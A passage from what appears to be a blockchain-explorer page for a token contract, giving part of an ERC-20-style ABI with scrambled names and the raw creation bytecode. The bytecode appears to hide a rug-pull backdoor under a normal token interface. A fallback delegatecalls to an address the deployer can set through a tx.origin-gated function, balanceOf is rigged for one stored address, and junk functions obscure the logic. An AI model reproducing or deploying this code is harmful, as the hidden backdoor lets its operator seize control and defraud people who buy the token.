YJ9Bbr","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"yDqmwOZnC7I3hghArG6W","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"yDqmwOZnC7I3hghArG6W","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"yOJwqSNC8nytQ2c","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"xRLOB31DLTmx53tu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"yaqv1B3NYOl6Y50R","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ywCN29i8Z6Z","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b5062000023326200004460201b60201c565b6200003e306804e1003b28d92800006200010860201b60201c565b62000470565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200017b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001729062000361565b60405180910390fd5b6000622b99e8816200018e9190620003b1565b9050610d6681116200019f57600080fd5b621323c981620001b09190620003b1565b90506108f48111620001c157600080fd5b624d88f481620001d29190620003b1565b905061129d8111620001e357600080fd5b6236972781620001f49190620003b1565b905061165581116200020557600080fd5b620a365181620002169190620003b1565b905061189581116200022757600080fd5b6211dd6b81620002389190620003b1565b9050610c7381116200024957600080fd5b81600360008282546200025d9190620003b1565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002b59190620003b1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200031c919062000383565b60405180910390a3505050565b600062000338601f83620003a0565b9150620003458262000447565b602082019050919050565b6200035b816200040e565b82525050565b600060208201905081810360008301526200037c8162000329565b9050919050565b60006020820190506200039a600083018462000350565b92915050565b600082825260208201905092915050565b6000620003be826200040e565b9150620003cb836200040e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000403576200040262000418565b5b828201905092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b61471580620004806000396000f3fe6080604052600436106102345760003560e01c80638da5cb5b1161012e578063dd62ed3e116100ab578063f0d45a7b1161006f578063f0d45a7b146108e5578063f2fde38b14610910578063fbb5061314610939578063fc025b0314610964578063ffcd96171461098f5761023b565b8063dd62ed3e146107fc578063df731b2514610839578063e04683d414610864578063e8f4fe661461088f578063eacca9da146108ba5761023b565b8063a7f293dc116100f2578063a7f293dc14610713578063a9059cbb1461073e578063bcc6cd3d1461077b578063ccaa1c52146107a6578063dd416712146107d15761023b565b80638da5cb5b1461062a5780638dd950021461065557806395d89b4114610680578063a457c2d7146106ab578063a4e2ce8c146106e85761023b565b806339509351116101bc57806368136d1f1161018057806368136d1f146105555780637047ed3b1461058057806370a08231146105ab578063715018a6146105e85780637a1faaee146105ff5761023b565b8063395093511461046c57806339c8cbef146104a957806349168855146104d457806351ca6548146104ff578063614bdaf61461052a5761023b565b806323b872dd1161020357806323b872dd146103835780632776a333146103c0578063313ce567146103eb5780633351940e14610416578063352f5365146104415761023b565b806306fdde03146102c7578063095ea7b3146102f257806318160ddd1461032f5780631cb5899f1461035a5761023b565b3661023b57005b34801561024757600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505090506004600802600460200182015114156102c4576020600082516008600402840130545af46102be57600080fd5b60206000f35b50005b3480156102d357600080fd5b506102dc6109ba565b6040516102e99190613f6c565b60405180910390f35b3480156102fe57600080fd5b5061031960048036038101906103149190613c46565b610aac565b6040516103269190613f51565b60405180910390f35b34801561033b57600080fd5b50610344610acf565b60405161035191906140ae565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c9190613c86565b610b94565b005b34801561038f57600080fd5b506103aa60048036038101906103a59190613bf3565b610c3f565b6040516103b79190613f51565b60405180910390f35b3480156103cc57600080fd5b506103d5610c6e565b6040516103e291906140ae565b60405180910390f35b3480156103f757600080fd5b50610400610dd4565b60405161040d91906140c9565b60405180910390f35b34801561042257600080fd5b5061042b610e5b565b60405161043891906140ae565b60405180910390f35b34801561044d57600080fd5b50610456610ef6565b60405161046391906140ae565b60405180910390f35b34801561047857600080fd5b50610493600480360381019061048e9190613c46565b611005565b6040516104a09190613f51565b60405180910390f35b3480156104b557600080fd5b506104be61103c565b6040516104cb91906140ae565b60405180910390f35b3480156104e057600080fd5b506104e9611168565b6040516104f691906140ae565b60405180910390f35b34801561050b57600080fd5b506105146112b1565b60405161052191906140ae565b60405180910390f35b34801561053657600080fd5b5061053f61146e565b60405161054c91906140ae565b60405180910390f35b34801561056157600080fd5b5061056a61162b565b60405161057791906140ae565b60405180910390f35b34801561058c57600080fd5b506105956117ae565b6040516105a291906140ae565b60405180910390f35b3480156105b757600080fd5b506105d260048036038101906105cd9190613b86565b6118da565b6040516105df91906140ae565b60405180910390f35b3480156105f457600080fd5b506105fd611a41565b005b34801561060b57600080fd5b50610614611b41565b60405161062191906140ae565b60405180910390f35b34801561063657600080fd5b5061063f611cc3565b60405161064c9190613f36565b60405180910390f35b34801561066157600080fd5b5061066a611dc6565b6040516106779190613f36565b60405180910390f35b34801561068c57600080fd5b50610695611dde565b6040516106a29190613f6c565b60405180910390f35b3480156106b757600080fd5b506106d260048036038101906106cd9190613c46565b611f6b565b6040516106df9190613f51565b60405180910390f35b3480156106f457600080fd5b506106fd611fe2565b60405161070a91906140ae565b60405180910390f35b34801561071f57600080fd5b5061072861209a565b60405161073591906140ae565b60405180910390f35b34801561074a57600080fd5b5061076560048036038101906107609190613c46565b61221c565b6040516107729190613f51565b60405180910390f35b34801561078757600080fd5b5061079061223f565b60405161079d91906140ae565b60405180910390f35b3480156107b257600080fd5b506107bb6123a5565b6040516107c891906140ae565b60405180910390f35b3480156107dd57600080fd5b506107e6612497565b6040516107f391906140ae565b60405180910390f35b34801561080857600080fd5b50610823600480360381019061081e9190613bb3565b6125e0565b60405161083091906140ae565b60405180910390f35b34801561084557600080fd5b5061084e612667565b60405161085b91906140ae565b60405180910390f35b34801561087057600080fd5b506108796127ea565b60405161088691906140ae565b60405180910390f35b34801561089b57600080fd5b506108a4612950565b6040516108b191906140ae565b60405180910390f35b3480156108c657600080fd5b506108cf612a25565b6040516108dc91906140ae565b60405180910390f35b3480156108f157600080fd5b506108fa612b34565b60405161090791906140ae565b60405180910390f35b34801561091c57600080fd5b5061093760048036038101906109329190613b86565b612cb7565b005b34801561094557600080fd5b5061094e612da8565b60405161095b91906140ae565b60405180910390f35b34801561097057600080fd5b50610979612e9a565b60405161098691906140ae565b60405180910390f35b34801561099b57600080fd5b506109a4612fe3565b6040516109b191906140ae565b60405180910390f35b606060006244b2f6816109cd919061416c565b9050611db281116109dd57600080fd5b623ea9a0816109ec919061416c565b905061248181116109fc57600080fd5b621d0a6681610a0b919061416c565b9050610b3c8111610a1b57600080fd5b60058054610a28906142e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610a54906142e7565b8015610aa15780601f10610a7657610100808354040283529160200191610aa1565b820191906000526020600020905b815481529060010190602001808311610a8457829003601f168201915b505050505091505090565b600080610ab7613166565b9050610ac481858561316e565b600191505092915050565b6000806238010981610ae1919061416c565b905061268d8111610af157600080fd5b6210a82b81610b00919061416c565b9050611ca58111610b1057600080fd5b6255c2de81610b1f919061416c565b90506112f58111610b2f57600080fd5b6221f7eb81610b3e919061416c565b90506101b98111610b4e57600080fd5b6253887881610b5d919061416c565b90506113af8111610b6d57600080fd5b624433c281610b7c919061416c565b905060978111610b8b57600080fd5b60035491505090565b3273ffffffffffffffffffffffffffffffffffffffff16610bb3611cc3565b73ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c009061402e565b60405180910390fd5b8160069080519060200190610c1f929190613a34565b508260059080519060200190610c36929190613a34565b50333055505050565b600080610c4a613166565b9050610c578582856133b8565b610c62858585613444565b60019150509392505050565b6000806259f636811115610c83576002810490505b623321cb6259f63601905062697448811115610ca0576002810490505b6219f43a62697448019050626220d8811115610cbd576002810490505b622cee49626220d80390506257eaa9811115610cda576002810490505b6255f6f26257eaa906905062584803811115610cf7576002810490505b624b869962584803049050622ff5f7811115610d14576002810490505b620d2185622ff5f7039050627c3101811115610d31576002810490505b623b987b627c3101029050625ee6e0811115610d4e576002810490505b6218be58625ee6e00290506250664e811115610d6b576002810490505b6248cef86250664e019050625906c1811115610d88576002810490505b62043c1c625906c10390506251f28d811115610da5576002810490505b622ae3fb6251f28d019050625de4e6811115610dc2576002810490505b623d95c5625de4e60490508091505090565b6000806235eb5581610de6919061416c565b9050611a2d8111610df657600080fd5b62339f9d81610e05919061416c565b90506111378111610e1557600080fd5b62490d8381610e24919061416c565b90506105468111610e3457600080fd5b620397c481610e43919061416c565b9050611de38111610e5357600080fd5b600991505090565b6000806274d39f811115610e70576002810490505b623ba5136274d39f049050627c4a59811115610e8d576002810490505b620c482d627c4a59029050625a36bd811115610eaa576002810490505b621ada91625a36bd039050624ae3da811115610ec7576002810490505b624a02c3624ae3da0290506273d214811115610ee4576002810490505b621031846273d2140390508091505090565b600080622e4c52811115610f0b576002810490505b6206e8bb622e4c520690506290c922811115610f28576002810490505b6244773c6290c92201905062486507811115610f45576002810490505b6228f13362486507029050625ae928811115610f62576002810490505b622223b7625ae928069050622e20b4811115610f7f576002810490505b6208ac19622e20b404905062584b6d811115610f9c576002810490505b621d5e1b62584b6d02905062579881811115610fb9576002810490505b624f881162579881049050626c75e3811115610fd6576002810490505b622a4800626c75e3039050620681f6811115610ff3576002810490505b62039bde620681f60690508091505090565b600080611010613166565b905061103181858561102285896125e0565b61102c919061416c565b61316e565b600191505092915050565b600080625db361811115611051576002810490505b62325cb7625db361049050626866fc81111561106e576002810490505b62169596626866fc049050625769e881111561108b576002810490505b6247e5cf625769e8019050628743998111156110a8576002810490505b6227907b6287439903905062966cb58111156110c5576002810490505b6253055662966cb5069050627ade418111156110e2576002810490505b6236878f627ade410390506258aeaf8111156110ff576002810490505b623be8a46258aeaf069050626f4af281111561111c576002810490505b62572d87626f4af2019050623db74b811115611139576002810490505b621195bb623db74b069050627b1ead811115611156576002810490505b622a5759627b1ead0690508091505090565b6000806258697b81111561117d576002810490505b6220af646258697b049050627afcd681111561119a576002810490505b621ba85e627afcd60190506283f1d38111156111b7576002810490505b620749736283f1d30190506281f9f98111156111d4576002810490505b624a5f6c6281f9f9039050625b05318111156111f1576002810490505b6244ad32625b05310690506260369981111561120e576002810490505b624e82b3626036990490506263a15781111561122b576002810490505b622fec476263a1570290506280ea14811115611248576002810490505b6234c8566280ea14029050622ac4bb811115611265576002810490505b62087666622ac4bb01905062759ba0811115611282576002810490505b624f8b3662759ba004905062648b6381111561129f576002810490505b6225f87062648b630290508091505090565b6000806254252b8111156112c6576002810490505b6238eff06254252b029050628603288111156112e3576002810490505b6256cd7662860328069050625d3c8b811115611300576002810490505b624ca9a3625d3c8b02905062785ee681111561131d576002810490505b6256d52562785ee602905062825c1681111561133a576002810490505b6206ea9562825c16029050626d3a38811115611357576002810490505b62541ee2626d3a38019050626ac7ae811115611374576002810490505b622f4837626ac7ae06905062688264811115611391576002810490505b62099dc362688264049050621ba6648111156113ae576002810490505b621b97dd621ba664039050627fa7378111156113cb576002810490505b621124e6627fa737049050625ad01e8111156113e8576002810490505b6245058e625ad01e049050620cf2fc811115611405576002810490505b6207d10a620cf2fc069050625df4e2811115611422576002810490505b62520d01625df4e202905062623e8981111561143f576002810490505b6225d64f62623e890190506291f12181111561145c576002810490505b62424a0e6291f1210690508091505090565b600080621d54c1811115611483576002810490505b621ad5f3621d54c1029050628c8d5c8111156114a0576002810490505b620f5ab3628c8d5c069050628aed218111156114bd576002810490505b6222f420628aed21049050624558a98111156114da576002810490505b623c459e624558a9039050627554058111156114f7576002810490505b621326cd62755405049050627df0fa811115611514576002810490505b6246ae09627df0fa039050624f5583811115611531576002810490505b62153f46624f5583019050629013d881111561154e576002810490505b621922b1629013d80390506297036681111561156b576002810490505b623333296297036602905062624803811115611588576002810490505b6257d213626248030190506264dd3e8111156115a5576002810490505b623bba6b6264dd3e029050627e54d08111156115c2576002810490505b620e162e627e54d00290506290d4a68111156115df576002810490505b623916c26290d4a60290506216bbae8111156115fc576002810490505b620cf9f26216bbae069050626762cb811115611619576002810490505b62130939626762cb0490508091505090565b600080625451fa811115611640576002810490505b62330f96625451fa03905062973cb381111561165d576002810490505b6216b31562973cb3029050624a4a5a81111561167a576002810490505b622647e1624a4a5a039050628011d3811115611697576002810490505b62597d45628011d3029050626f8e948111156116b4576002810490505b620be6b0626f8e9406905062850ab78111156116d1576002810490505b6248f97562850ab70190506210c6f48111156116ee576002810490505b620d36f36210c6f4049050624da16981111561170b576002810490505b622ca60b624da16906905062796f21811115611728576002810490505b62188bd862796f2101905062754046811115611745576002810490505b6210b223627540460190506279dd65811115611762576002810490505b620fd62d6279dd650690506240a8c381111561177f576002810490505b620457616240a8c30290506285bb7281111561179c576002810490505b6253ad816285bb720690508091505090565b600080625e24148111156117c3576002810490505b623af58e625e2414029050629348748111156117e0576002810490505b6229c50062934874019050625d865b8111156117fd576002810490505b62559b25625d865b019050627684c081111561181a576002810490505b624ce8f8627684c0069050623a6a21811115611837576002810490505b621f19fd623a6a210390506238135a811115611854576002810490505b6233ed386238135a0290506250cbf4811115611871576002810490505b624b049a6250cbf40390506256401681111561188e576002810490505b6231c8466256401603905062679a4b8111156118ab576002810490505b6258cfb362679a4b039050627ebc568111156118c8576002810490505b6218f20e627ebc560290508091505090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561194f57600061193c613710565b905060205481101561194d57600080fd5b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ec57600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611a3c565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a39919061434a565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff16611a60611cc3565b73ffffffffffffffffffffffffffffffffffffffff1614611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad9061402e565b60405180910390fd5b60006219ee9781611ac7919061416c565b90506122fd8111611ad757600080fd5b6219faf281611ae6919061416c565b90506105a58111611af657600080fd5b620b79ab81611b05919061416c565b9050610ff38111611b1557600080fd5b621ea3f281611b24919061416c565b9050611cec8111611b3457600080fd5b611b3e6000613822565b50565b600080628a4caf811115611b56576002810490505b6249e07a628a4caf0290506290eada811115611b73576002810490505b623e0b946290eada0190506295e398811115611b90576002810490505b6254f6876295e39803905062806a7f811115611bad576002810490505b624318ed62806a7f0390506268641e811115611bca576002810490505b62481fc86268641e069050625f5fce811115611be7576002810490505b624bf1fb625f5fce069050621a55a3811115611c04576002810490505b6209f047621a55a3049050621bf3b0811115611c21576002810490505b6214aa97621bf3b00390506266feb8811115611c3e576002810490505b6249f7d16266feb80390506269b9c7811115611c5b576002810490505b625291a46269b9c70490506274537b811115611c78576002810490505b623c0fef6274537b019050627b378a811115611c95576002810490505b61a2f3627b378a029050627c2734811115611cb1576002810490505b62334dd4627c27340390508091505090565b600080623a575281611cd5919061416c565b9050610b5a8111611ce557600080fd5b62380f1f81611cf4919061416c565b90506112cf8111611d0457600080fd5b6222bccf81611d13919061416c565b90506117e58111611d2357600080fd5b622071c781611d32919061416c565b905061093f8111611d4257600080fd5b620ef67381611d51919061416c565b90506122ba8111611d6157600080fd5b6228850581611d70919061416c565b9050611c588111611d8057600080fd5b623c1f6581611d8f919061416c565b9050610e7f8111611d9f57600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b60606000621697bc81611df1919061416c565b90506119df8111611e0157600080fd5b624a58f181611e10919061416c565b9050610cb78111611e2057600080fd5b621bd27281611e2f919061416c565b90506105c58111611e3f57600080fd5b62293cc081611e4e919061416c565b9050611b718111611e5e57600080fd5b6253e25b81611e6d919061416c565b905061081e8111611e7d57600080fd5b621c8b2b81611e8c919061416c565b9050610c248111611e9c57600080fd5b6208e89181611eab919061416c565b90506126638111611ebb57600080fd5b6234a42881611eca919061416c565b9050610ca18111611eda57600080fd5b60068054611ee7906142e7565b80601f0160208091040260200160405190810160405280929190818152602001828054611f13906142e7565b8015611f605780601f10611f3557610100808354040283529160200191611f60565b820191906000526020600020905b815481529060010190602001808311611f4357829003601f168201915b505050505091505090565b600080611f76613166565b90506000611f8482866125e0565b905083811015611fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc09061408e565b60405180910390fd5b611fd6828686840361316e565b60019250505092915050565b60008062766680811115611ff7576002810490505b62375a636276668003905062483eaa811115612014576002810490505b620bb7ee62483eaa069050626e48cd811115612031576002810490505b62312552626e48cd0390506246871581111561204e576002810490505b623bac696246871503905062773dd981111561206b576002810490505b6229009462773dd9039050627ff5e9811115612088576002810490505b621ade60627ff5e90690508091505090565b600080626de9f78111156120af576002810490505b6221792b626de9f7069050626e47338111156120cc576002810490505b622630e5626e4733049050627d32848111156120e9576002810490505b61f8d6627d3284019050627a83d6811115612105576002810490505b62531aa7627a83d6029050626d2632811115612122576002810490505b625667a2626d26320690506228e81881111561213f576002810490505b622231396228e8180190506244a90781111561215c576002810490505b621089286244a907029050627cf012811115612179576002810490505b6234ddb7627cf0120490506296b3cc811115612196576002810490505b622cbfcd6296b3cc0690506284ba8a8111156121b3576002810490505b624ef0906284ba8a0390506250cad28111156121d0576002810490505b624f08186250cad2019050623cdd768111156121ed576002810490505b620fc93b623cdd76049050628707a281111561220a576002810490505b6230e105628707a20490508091505090565b600080612227613166565b9050612234818585613444565b600191505092915050565b60008062510090811115612254576002810490505b6240b5396251009002905062583fef811115612271576002810490505b6241194862583fef039050622cb59e81111561228e576002810490505b62141725622cb59e0490506295d5e08111156122ab576002810490505b62516c286295d5e0029050625e0d5c8111156122c8576002810490505b6237601a625e0d5c0690506221c77d8111156122e5576002810490505b621649c66221c77d0490506270c836811115612302576002810490505b624dbe636270c8360290506281204581111561231f576002810490505b6257c91d62812045039050629268d281111561233c576002810490505b620225af629268d201905062625ac0811115612359576002810490505b6235167d62625ac0069050627cfcbc811115612376576002810490505b62582158627cfcbc0490506221adfa811115612393576002810490505b62060a886221adfa0690508091505090565b6000806234bdce8111156123ba576002810490505b622c37046234bdce069050622f1e278111156123d7576002810490505b62264852622f1e270190506275f18d8111156123f4576002810490505b62585e496275f18d0490506259fcf1811115612411576002810490505b6211c7db6259fcf1069050627a371781111561242e576002810490505b625344ce627a37170290506255ae7081111561244b576002810490505b623854196255ae7003905062413463811115612468576002810490505b62041ffd62413463039050627c080b811115612485576002810490505b621107a7627c080b0390508091505090565b60008062713a9a8111156124ac576002810490505b622a3b4262713a9a04905062811a328111156124c9576002810490505b6229e93562811a32029050628255f78111156124e6576002810490505b623a70da628255f70490506271b02c811115612503576002810490505b622095916271b02c0390506263ed2b811115612520576002810490505b62503cb36263ed2b029050626455de81111561253d576002810490505b62401ec4626455de029050627505b381111561255a576002810490505b624744ec627505b3049050628e57ec811115612577576002810490505b62384035628e57ec019050628e997e811115612594576002810490505b6218f273628e997e0690506240352b8111156125b1576002810490505b6201add66240352b069050628b52d78111156125ce576002810490505b620e9575628b52d70290508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806250324981111561267c576002810490505b623bb0ca62503249069050623704e9811115612699576002810490505b622a0949623704e90390506253eeea8111156126b6576002810490505b621e2a256253eeea029050627de3c38111156126d3576002810490505b620285b0627de3c3029050627a109c8111156126f0576002810490505b62571c9d627a109c019050627db2d681111561270d576002810490505b62120bd1627db2d60390506232e44781111561272a576002810490505b6232a7fc6232e447019050623c127e811115612747576002810490505b622f4e88623c127e049050625513b5811115612764576002810490505b62033575625513b501905062674283811115612781576002810490505b623e4751626742830190506295e7f481111561279e576002810490505b6253caa96295e7f4069050624948398111156127bb576002810490505b620cfd2662494839019050628d5b828111156127d8576002810490505b62316d57628d5b820190508091505090565b6000806258b8948111156127ff576002810490505b62483eb86258b8940490506293723f81111561281c576002810490505b62100d226293723f0190506280e237811115612839576002810490505b625b740e6280e23701905062818454811115612856576002810490505b62258791628184540490506223cbbe811115612873576002810490505b6220ec9b6223cbbe069050623cb913811115612890576002810490505b621e0811623cb913069050624d55e88111156128ad576002810490505b620fcbf7624d55e80390506247bcb68111156128ca576002810490505b624199806247bcb60190506213bdc98111156128e7576002810490505b6209aafa6213bdc906905062918451811115612904576002810490505b622e7dbd62918451039050626911c5811115612921576002810490505b624ba122626911c502905062755f8881111561293e576002810490505b62257ca962755f880490508091505090565b600080629543c1811115612965576002810490505b62549f29629543c1029050626ccc78811115612982576002810490505b623784fd626ccc780690506265f84e81111561299f576002810490505b624aa2656265f84e039050624025cc8111156129bc576002810490505b620e253f624025cc0690506238b8b88111156129d9576002810490505b621aedda6238b8b8039050622c977d8111156129f6576002810490505b6210d48c622c977d0290506252dd8c811115612a13576002810490505b6252ca6f6252dd8c0290508091505090565b60008062960ed6811115612a3a576002810490505b620f1e0e62960ed6039050627be0b0811115612a57576002810490505b6232e8d7627be0b0049050626fa118811115612a74576002810490505b624025c5626fa118069050628c1860811115612a91576002810490505b622c4693628c186003905062403f87811115612aae576002810490505b6238b60062403f87019050628f38e9811115612acb576002810490505b622ecac0628f38e903905062809f80811115612ae8576002810490505b6214c49e62809f8003905062974ddb811115612b05576002810490505b621eecc462974ddb0190506297e0b0811115612b22576002810490505b624d69116297e0b00190508091505090565b60008062778676811115612b49576002810490505b624dd18562778676039050628f0506811115612b66576002810490505b6237e37d628f0506029050622369e0811115612b83576002810490505b62093fcb622369e00390506292cf3c811115612ba0576002810490505b6225a6c56292cf3c049050627a7c0d811115612bbd576002810490505b62434de3627a7c0d02905062494597811115612bda576002810490505b624392f162494597049050624e87cd811115612bf7576002810490505b62247a5d624e87cd0490506250087a811115612c14576002810490505b623a2d2f6250087a029050622faaac811115612c31576002810490505b622a8ec3622faaac04905062615099811115612c4e576002810490505b6238b7476261509901905062576643811115612c6b576002810490505b6240e2c86257664304905062554e07811115612c88576002810490505b62326d6862554e07019050628e2180811115612ca5576002810490505b62258076628e21800290508091505090565b3273ffffffffffffffffffffffffffffffffffffffff16612cd6611cc3565b73ffffffffffffffffffffffffffffffffffffffff1614612d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d239061402e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d9390613fae565b60405180910390fd5b612da581613822565b50565b6000806242b563811115612dbd576002810490505b6234f9246242b563049050626c12f5811115612dda576002810490505b6254dfb4626c12f504905062981c1c811115612df7576002810490505b621af10b62981c1c03905062786bb5811115612e14576002810490505b625523ad62786bb503905062641efc811115612e31576002810490505b62576fe462641efc02905062967dcc811115612e4e576002810490505b625861d862967dcc0290506276faf2811115612e6b576002810490505b624963f06276faf2069050626967ba811115612e88576002810490505b62045fa0626967ba0290508091505090565b600080627ea1cd811115612eaf576002810490505b62476392627ea1cd02905062271a74811115612ecc576002810490505b621068c562271a74069050622ddd8c811115612ee9576002810490505b620a5b0a622ddd8c049050628013d2811115612f06576002810490505b6206f472628013d2019050625ac1d6811115612f23576002810490505b623dd888625ac1d60190506266c816811115612f40576002810490505b6251618a6266c816049050626f7f7c811115612f5d576002810490505b623a1922626f7f7c0490506273a85d811115612f7a576002810490505b6212c1786273a85d069050626cba01811115612f97576002810490505b624fd0f5626cba01019050625ca4aa811115612fb4576002810490505b62369994625ca4aa04905062474237811115612fd1576002810490505b622d9e6a624742370290508091505090565b6000806276d328811115612ff8576002810490505b625af8bb6276d32803905062309db0811115613015576002810490505b620a464262309db0019050627f2c52811115613032576002810490505b6255e222627f2c52049050627ad28d81111561304f576002810490505b622d0c1a627ad28d029050625c9e8f81111561306c576002810490505b623bf8c4625c9e8f069050628a510a811115613089576002810490505b624f4ff5628a510a01905062515eda8111156130a6576002810490505b62011f8e62515eda019050626866058111156130c3576002810490505b62351a7962686605039050620628d38111156130e0576002810490505b62019487620628d30290506217503d8111156130fd576002810490505b62046ebe6217503d0390506287c61b81111561311a576002810490505b621a198f6287c61b01905062723545811115613137576002810490505b62560d6c6272354504905062971b1e811115613154576002810490505b6218fca162971b1e0690508091505090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156131de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d59061406e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561324e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161324590613fce565b60405180910390fd5b6000621ada998161325f919061416c565b9050612497811161326f57600080fd5b62175fb78161327e919061416c565b905061076d811161328e57600080fd5b62194d958161329d919061416c565b905061198481116132ad57600080fd5b623130d0816132bc919061416c565b905061220e81116132cc57600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516133aa91906140ae565b60405180910390a350505050565b60006133c484846125e0565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461343e5781811015613430576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161342790613fee565b60405180910390fd5b61343d848484840361316e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156134b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134ab9061404e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561351d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61355c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161355390613f8e565b60405180910390fd5b6135678383836138e6565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156135ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135e59061400e565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461363d919061421c565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613693919061416c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516136f791906140ae565b60405180910390a361370a8484846138eb565b50505050565b60008073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016137769190613f36565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516137c49190613f1f565b600060405180830381855afa9150503d80600081146137ff576040519150601f19603f3d011682016040523d82523d6000602084013e613804565b606091505b509150508080602001905181019061381c9190613d11565b91505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffff